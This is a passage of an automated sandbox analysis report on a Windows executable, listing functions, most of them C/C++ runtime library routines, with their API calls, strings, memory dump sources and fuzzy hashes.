std::_Lockit::_Lockit.LIBCPMT ref: 00F964BA
std::_Lockit::~_Lockit.LIBCPMT ref: 00F964DB
std::_Lockit::~_Lockit.LIBCPMT ref: 00F9650A
std::_Lockit::_Lockit.LIBCPMT ref: 00F96571
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F965CE
__Getctype.LIBCPMT ref: 00F965E5
std::_Facet_Register.LIBCPMT ref: 00F9662A

Strings

bad locale name, xrefs: 00F96644

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 2622896957-1405518554
Opcode ID: e2cdb1f5acb9ccaea1afb6ae089304dc59ad1baef898987aa352a3975e3f47b0
Instruction ID: f4d5e3bb7583b0467e574806ea9544548745ff06fbc3887dc735232950cf70a5
Opcode Fuzzy Hash: e2cdb1f5acb9ccaea1afb6ae089304dc59ad1baef898987aa352a3975e3f47b0
Instruction Fuzzy Hash: EE51F271D047808FEB31DF24C544B5AB7F0BF94310F1A495CE5899B216EB39E944DB92

Function 00F96950 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 158COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F969B1
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F96A06
Concurrency::cancel_current_task.LIBCPMT ref: 00F96B7E

Strings

true, xrefs: 00F96ABC
bad locale name, xrefs: 00F96B74
false, xrefs: 00F96AA2
,, xrefs: 00F96B16
., xrefs: 00F96AD3

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: std::_$Concurrency::cancel_current_taskLocinfo::_Locinfo_ctorLockitLockit::_
String ID: ,$.$bad locale name$false$true
API String ID: 1995332507-3659324578
Opcode ID: adcbedb619f402fdf01331fe87b44e7f2f67df700bc1f9ed3249cc420005635e
Instruction ID: 4eb60df4792b357686b24b409e084c3ed5db35e3bcc8e47132e2dc11df3fc7d1
Opcode Fuzzy Hash: adcbedb619f402fdf01331fe87b44e7f2f67df700bc1f9ed3249cc420005635e
Instruction Fuzzy Hash: 0F519FB19083859FE710DF68C941B9BB7E4BF85304F044A2DF98897241E774E648DBA3

Function 00F96B90 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 120COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F96BE2
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F96C37
Concurrency::cancel_current_task.LIBCPMT ref: 00F96D01
Concurrency::cancel_current_task.LIBCPMT ref: 00F96D06
Concurrency::cancel_current_task.LIBCPMT ref: 00F96D0B

Strings

true, xrefs: 00F96CC5
bad locale name, xrefs: 00F96CF7
false, xrefs: 00F96C9F

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: f056d352a0d86030cf1759b2440a7912a04cdbe7c862d58df36fff45f7bea443
Instruction ID: 5f7b4c774aa3b78151104ef6d7a91df1b5b113a30a77851e377c33ac8680b593
Opcode Fuzzy Hash: f056d352a0d86030cf1759b2440a7912a04cdbe7c862d58df36fff45f7bea443
Instruction Fuzzy Hash: 9541E1706083419FEB21EF64D941B4BBBE0BF85310F04482DF599CB282D7B9D508DBA2

Function 00F9AD2D Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00F9AD33
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00F9AD41
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00F9AD52
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00F9AD63

Strings

GetTempPath2W, xrefs: 00F9AD58
GetSystemTimePreciseAsFileTime, xrefs: 00F9AD47
kernel32.dll, xrefs: 00F9AD2E
GetCurrentPackageId, xrefs: 00F9AD3B

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: df529434a14001c94c345dfa7ec791de5457325389c1820e4f674b337ba87dc5
Instruction ID: c7e0738d264b531bba74eb25255e96ba7dfd1d4cb0dfa5e6c6368a4910c5c6f5
Opcode Fuzzy Hash: df529434a14001c94c345dfa7ec791de5457325389c1820e4f674b337ba87dc5
Instruction Fuzzy Hash: 52E0EC31591314AB83506F76BC4D8953AE8FA0AB867040316F501D2154DBB98401AFA2

Function 00F9E508 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00F9E627
___TypeMatch.LIBVCRUNTIME ref: 00F9E735
_UnwindNestedFrames.LIBCMT ref: 00F9E887
CallUnexpected.LIBVCRUNTIME ref: 00F9E8A2

Strings

csm, xrefs: 00F9E5B2
csm, xrefs: 00F9E545
csm, xrefs: 00F9E65E

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: b6873b44fd8472d44ebd4d062016fe645f38e9eae7ac639e508baf54ce5b8287
Instruction ID: 1746c418a0efcaf4858df66bf20244be461bba406c48bcbed4756f81dd19b7fd
Opcode Fuzzy Hash: b6873b44fd8472d44ebd4d062016fe645f38e9eae7ac639e508baf54ce5b8287
Instruction Fuzzy Hash: 8AB18A71C00209EFEF29DFA4C8819AEBBB5FF54320F14455AE8116B212D735EA51EF92

Function 00FADBF7 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00FADE70

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 6f6551766e78dfaf1902ac4a10d661e029697619da613869b26e695c2ee2e33e
Instruction ID: 35ca70cfbcba52b048667cb8d6213c84bb067674c80a36431a5b8a7aef520088
Opcode Fuzzy Hash: 6f6551766e78dfaf1902ac4a10d661e029697619da613869b26e695c2ee2e33e
Instruction Fuzzy Hash: 92B134F1E0024AAFDB15DFA8C880BAE7BB1BF5B310F044158E5129B691C7799D01EF60

Function 00FB68FA Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00FB69A0
__alloca_probe_16.LIBCMT ref: 00FB6A5B
__alloca_probe_16.LIBCMT ref: 00FB6AEA
__freea.LIBCMT ref: 00FB6B35
__freea.LIBCMT ref: 00FB6B3B
__freea.LIBCMT ref: 00FB6B71
__freea.LIBCMT ref: 00FB6B77
__freea.LIBCMT ref: 00FB6B87

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 92730a0a459d33347b70571b78036777f44350b5b4b89d4bfa07e2a333230d42
Instruction ID: 4e5e23438182015142a4ade0f6828226adac9788748d70c27663b78b9aa9f394
Opcode Fuzzy Hash: 92730a0a459d33347b70571b78036777f44350b5b4b89d4bfa07e2a333230d42
Instruction Fuzzy Hash: 0A71B472E002056BDF219F968C82FEE77B9EF85324F184159E915FB281D63DDD04ABA0

Function 00F9AB11 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,CCCCCCCC,00F91C8F,?,00000001,00000000,00000002,00000001,?,00F91C8F,?), ref: 00F9AB5A
__alloca_probe_16.LIBCMT ref: 00F9AB86
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,00F91C8F,?,00000000,00FC1DDE,00BD2978,?,?,?,00F96AAC), ref: 00F9ABC5
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00F91C8F,?,00000000,00FC1DDE,00BD2978), ref: 00F9ABE2
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,00F91C8F,?,00000000,00FC1DDE,00BD2978), ref: 00F9AC21
__alloca_probe_16.LIBCMT ref: 00F9AC3E
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00F91C8F,?,00000000,00FC1DDE,00BD2978), ref: 00F9AC80
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,00F91C8F,?,00000000,00FC1DDE,00BD2978), ref: 00F9ACA3

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 46d9792d4cd667e6adaed3b59a7117797e2498145a69770a5b5a8ee0e0bca09a
Instruction ID: cf4f4c773f98c67717ab29f1077795c3692e237f483653a5148016644f971826
Opcode Fuzzy Hash: 46d9792d4cd667e6adaed3b59a7117797e2498145a69770a5b5a8ee0e0bca09a
Instruction Fuzzy Hash: EB519D7290021AAFEF21AF64CC85FAA7BA9EB44760F144524F905AA250E735CC10FB92

Function 00F96100 Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F9610D
std::_Lockit::_Lockit.LIBCPMT ref: 00F9612B
std::_Lockit::~_Lockit.LIBCPMT ref: 00F9614C
std::_Lockit::~_Lockit.LIBCPMT ref: 00F9619C
std::_Facet_Register.LIBCPMT ref: 00F961C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00F961DF

Part of subcall function 00F91930: ___std_exception_copy.LIBVCRUNTIME ref: 00F9196C

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register___std_exception_copy
String ID:
API String ID: 728164013-0
Opcode ID: 4688965d1b435362ca2af69293a3f9363df5027f5acca38d138cec85b0ef81c5
Instruction ID: 087899902bca628b24111ce7a6fbb5e673261f48754bb3feb3892ecc8bded3e0
Opcode Fuzzy Hash: 4688965d1b435362ca2af69293a3f9363df5027f5acca38d138cec85b0ef81c5
Instruction Fuzzy Hash: 19212232A003119FEF25EF24E840A6AB3A0EB94760F14055DE99097252DB3EED46DB92

Function 00F95A60 Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F95A6D
std::_Lockit::_Lockit.LIBCPMT ref: 00F95A8B
std::_Lockit::~_Lockit.LIBCPMT ref: 00F95AAC
std::_Lockit::~_Lockit.LIBCPMT ref: 00F95AFC
std::_Facet_Register.LIBCPMT ref: 00F95B26
std::_Lockit::~_Lockit.LIBCPMT ref: 00F95B3F

Part of subcall function 00F91930: ___std_exception_copy.LIBVCRUNTIME ref: 00F9196C

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register___std_exception_copy
String ID:
API String ID: 728164013-0
Opcode ID: 8c7811637517bc910d15c98f65fdd4ac9152fe837b80a1fe3ebcbd3aacc7ded7
Instruction ID: 2c78ee10e1816d78c5ecc8e5e54945dc8f99cf6878e49416dcd6e9961eca81c2
Opcode Fuzzy Hash: 8c7811637517bc910d15c98f65fdd4ac9152fe837b80a1fe3ebcbd3aacc7ded7
Instruction Fuzzy Hash: A321D531A003119FEB26EF24E88495AB7A0FB94760F14051DE98097251DB3DAD0ADBD2

Function 00F9E19A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00F9E191,00F9C74C,00F9B846), ref: 00F9E1A8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F9E1B6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F9E1CF
SetLastError.KERNEL32(00000000,00F9E191,00F9C74C,00F9B846), ref: 00F9E221

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5207e3dfc82c5e4d60ecba039810b6a50a0fd7352a3d023dc27b5b53eb69568f
Instruction ID: 9216480a04de168e4adc27ea40df05cbb008c0cead2777cc039eec79b0e6fb8c
Opcode Fuzzy Hash: 5207e3dfc82c5e4d60ecba039810b6a50a0fd7352a3d023dc27b5b53eb69568f
Instruction Fuzzy Hash: 5D01F733A0D6166EBF2467B4BCC6F2A3A59DB01775720033AF510C21E1EF655C89B585

Function 00FA69F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C488A511,?,?,00000000,00FB86B3,000000FF,?,00FA6980,00000002,?,00FA6954,00FA302A), ref: 00FA6A25
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00FA6A37
FreeLibrary.KERNEL32(00000000,?,?,00000000,00FB86B3,000000FF,?,00FA6980,00000002,?,00FA6954,00FA302A), ref: 00FA6A59

Strings

mscoree.dll, xrefs: 00FA6A1E
CorExitProcess, xrefs: 00FA6A2F

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b3782e5933301b05af27d11c504c1bf230c5bc3a503679418f941b35d6e0a1fc
Instruction ID: b544c8781a565f33af2e110b569697cf23b433cc447676cbfa6cabbe066ee057
Opcode Fuzzy Hash: b3782e5933301b05af27d11c504c1bf230c5bc3a503679418f941b35d6e0a1fc
Instruction Fuzzy Hash: C101A271A04619EBCB11DF54CD09BAEBBFCFB05B50F044625E822F22D0DB78A800EE81

Function 00FAECA2 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00FAED29
__alloca_probe_16.LIBCMT ref: 00FAEDEA
__freea.LIBCMT ref: 00FAEE51

Part of subcall function 00FA9B87: RtlAllocateHeap.NTDLL(00000000,00FAFFAD,?,?,00FAFFAD,00000220,?,00000010,?), ref: 00FA9BB9

__freea.LIBCMT ref: 00FAEE66
__freea.LIBCMT ref: 00FAEE76

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: d5b9c46ee0ead905a9c3c27dd6e730dad1a3165cf7521729bed1e79d245667ef
Instruction ID: 0d43010c7bba780468c3f98830f3f140931ab119facd218c25cc0f0b7a80f272
Opcode Fuzzy Hash: d5b9c46ee0ead905a9c3c27dd6e730dad1a3165cf7521729bed1e79d245667ef
Instruction Fuzzy Hash: E551C3F2A00206AFEF219FA4CC81EBB76A9EF46760F154528FD08D7150E775DD14A7A0

Function 00F97BDC Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F97BE3
std::_Lockit::_Lockit.LIBCPMT ref: 00F97BED

Part of subcall function 00F91AC0: std::_Lockit::_Lockit.LIBCPMT ref: 00F91ACF
Part of subcall function 00F91AC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00F91AEA

codecvt.LIBCPMT ref: 00F97C27
std::_Facet_Register.LIBCPMT ref: 00F97C3E
std::_Lockit::~_Lockit.LIBCPMT ref: 00F97C5E

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 88534b67536b5ab589f1297c5fe852548982c93b191fc89e934f9f10b4469875
Instruction ID: e4ad07e726c6b26f16ec289ea911bc5be9449c74ce7340383b3cc0f7ae75da65
Opcode Fuzzy Hash: 88534b67536b5ab589f1297c5fe852548982c93b191fc89e934f9f10b4469875
Instruction Fuzzy Hash: 1A11DC31D143259FEF05EF68CD456AEBBA4BF84360F24040AF401A7381DFB89E01AB91

Function 00F9930F Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F99316
std::_Lockit::_Lockit.LIBCPMT ref: 00F99320

Part of subcall function 00F91AC0: std::_Lockit::_Lockit.LIBCPMT ref: 00F91ACF
Part of subcall function 00F91AC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00F91AEA

codecvt.LIBCPMT ref: 00F9935A
std::_Facet_Register.LIBCPMT ref: 00F99371
std::_Lockit::~_Lockit.LIBCPMT ref: 00F99391

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 2f30e28b649b0b633a813aa46913e9ac3caaa55e7bdd5a7536262f02906b67c0
Instruction ID: a58172100d46b56d42612704bece38b06118874d23dc9ddd9a0f3776344d73d2
Opcode Fuzzy Hash: 2f30e28b649b0b633a813aa46913e9ac3caaa55e7bdd5a7536262f02906b67c0
Instruction Fuzzy Hash: AA11AF359142159BEF15EF68CD05BAEB7B9BF84760F25050DE401A7281DFB89E00AB91

Function 00F98F97 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F98F9E
std::_Lockit::_Lockit.LIBCPMT ref: 00F98FA9
std::_Lockit::~_Lockit.LIBCPMT ref: 00F99017

Part of subcall function 00F990FA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00F99112

std::locale::_Setgloballocale.LIBCPMT ref: 00F98FC4
_Yarn.LIBCPMT ref: 00F98FDA

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 9b965e51e4cb54bb4dae27b21cc0bd4deb8b52673132b3a7b1b03ecbea8c97bc
Instruction ID: 84031129ba3c07ea13fc2a07e10d1f01b778fa537565416d58461fe40317f297
Opcode Fuzzy Hash: 9b965e51e4cb54bb4dae27b21cc0bd4deb8b52673132b3a7b1b03ecbea8c97bc
Instruction Fuzzy Hash: 1E019A79A042519BEB1AFB24DD4597D7771BB85390B15000CE92197381CFBCAA02EB92

Function 00F92230 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00F922CD

Part of subcall function 00F9BC00: RaiseException.KERNEL32(E06D7363,00000001,00000003,00F9BB23,?,?,?,?,00F9BB23,?,00FC40FC,?), ref: 00F9BC60

Strings

ios_base::eofbit set, xrefs: 00F92276
ios_base::badbit set, xrefs: 00F92267, 00F92292, 00F922B0
ios_base::failbit set, xrefs: 00F9217D, 00F92271

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
